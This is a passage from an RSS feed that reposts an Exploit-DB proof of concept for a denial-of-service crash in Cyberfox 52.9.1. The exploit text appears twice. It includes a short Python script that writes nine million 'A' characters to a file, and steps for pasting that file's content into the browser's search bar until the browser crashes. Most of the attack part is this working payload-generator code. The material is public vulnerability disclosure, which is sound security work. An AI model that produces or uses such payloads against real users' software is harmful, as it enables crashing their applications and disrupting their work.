# Version: v52.9.1 (Possibly all versions)<br />
# Tested on: windows<br />
<br />
#[ About - Cyberfox ] :<br />
#Cyberfox is a Mozilla-based Internet browser designed to take advantage of 64-bit architecture <br />
#but a 32-bit version is also available.The application provides a higher memory performance when navigating your favorite pages.<br />
<br />
# [ Exploit/POC ] :<br />
# 1.Run the python script, it will create a new file "output.txt"<br />
# 2.Run Cyberfox Web Browser<br />
# 3.Copy the content of the file "output.txt" &amp; Paste  into the "search bar"<br />
# 4.Crashed <br />
<br />
Overflow = "&#92;x41" * 9000000<br />
try:<br />
    f=open("output.txt","w")<br />
    print("[!] Creating %s bytes DOS payload...." %len(Overflow))<br />
    f.write(Overflow)<br />
    f.close()<br />
    print("[!] File Created !")<br />
except:<br />
    print("File cannot be created")</code></div></div><br />
<br />
Source: <a href="https://www.exploit-db.com/exploits/50336" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/exploits/50336</a>]]></description>
			<content:encoded><![CDATA[<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code># Exploit Title: Cyberfox Web Browser 52.9.1 - Denial of Service (PoC)<br />
# Date: 2021-09-26 <br />
# Exploit Author: Aryan Chehreghani<br />
# Vendor Homepage: https://cyberfox.8pecxstudios.com<br />
# Software Link: https://www.techspot.com/downloads/6568-cyberfox-web-browser.html<br />
# Version: v52.9.1 (Possibly all versions)<br />
# Tested on: windows<br />
<br />
#[ About - Cyberfox ] :<br />
#Cyberfox is a Mozilla-based Internet browser designed to take advantage of 64-bit architecture <br />
#but a 32-bit version is also available.The application provides a higher memory performance when navigating your favorite pages.<br />
<br />
# [ Exploit/POC ] :<br />
# 1.Run the python script, it will create a new file "output.txt"<br />
# 2.Run Cyberfox Web Browser<br />
# 3.Copy the content of the file "output.txt" &amp; Paste  into the "search bar"<br />
# 4.Crashed <br />
<br />
Overflow = "&#92;x41" * 9000000<br />
try:<br />
    f=open("output.txt","w")<br />
    print("[!] Creating %s bytes DOS payload...." %len(Overflow))<br />
    f.write(Overflow)<br />
    f.close()<br />
    print("[!] File Created !")<br />
except:<br />
    print("File cannot be created")</code></div></div><br />
<br />
Source: <a href="https://www.exploit-db.com/exploits/50336" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/exploits/50336</a>]]></content:encoded>
		</item>
	</channel>
</rss>